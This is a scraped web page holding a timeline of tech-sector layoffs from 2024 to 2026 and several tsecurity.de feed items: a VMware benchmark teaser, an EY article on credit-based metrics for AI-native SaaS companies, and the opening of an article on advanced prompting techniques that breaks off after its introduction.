<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[We Asked an Independent Lab to Time Us. Here’s What They Found.]]></title>
<description><![CDATA[A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCent...]]></description>
<link>https://tsecurity.de/de/3689034/downloads/we-asked-an-independent-lab-to-time-us-heres-what-they-found/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689034/downloads/we-asked-an-independent-lab-to-time-us-heres-what-they-found/</guid>
<pubDate>Thu, 23 Jul 2026 14:32:09 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="167" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg 1376w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=300,167 300w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=768,429 768w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=1024,572 1024w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=600,335 600w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCenter, deploys three VMs from the gold template, SSHs into each node, regenerates machine … <a href="https://blogs.vmware.com/cloud-foundation/2026/07/23/we-asked-an-independent-lab-to-time-us-heres-what-they-found/">Continued</a></p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/23/we-asked-an-independent-lab-to-time-us-heres-what-they-found/">We Asked an Independent Lab to Time Us. Here’s What They Found.</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
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<pubDate>Thu, 23 Jul 2026 14:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
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<pubDate>Thu, 23 Jul 2026 13:07:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



